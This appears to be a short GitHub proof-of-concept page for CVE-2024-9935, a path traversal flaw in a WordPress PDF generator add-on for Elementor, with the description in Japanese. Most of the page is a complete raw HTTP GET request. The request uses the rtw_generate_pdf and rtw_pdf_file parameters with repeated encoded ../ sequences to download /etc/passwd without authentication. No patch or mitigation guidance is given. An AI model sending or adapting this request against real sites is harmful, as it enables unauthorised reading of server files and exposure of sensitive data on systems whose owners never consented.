randomrobbiebf/cve-2024-9935Elementor Page Builder用 PDF Generator Addon <= 1.7.5 - 未認証の任意ファイルダウンロード
Elementor Page Builder用PDFジェネレータアドオン <= 1.7.5 - 認証なし任意ファイルダウンロード
WordPress用プラグイン「Elementor Page Builder用PDFジェネレータアドオン」は、バージョン1.7.5以前のすべてのバージョンにおいて、rtw_pgaepb_dwnld_pdf()関数を介したパストラバーサルの脆弱性の影響を受けます。これにより、認証されていない攻撃者がサーバー上の任意のファイルの内容を読み取ることが可能となり、そのファイルには機密情報が含まれる可能性があります。
GET /elementor-84/?rtw_generate_pdf=true&rtw_pdf_file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Priority: u=0, i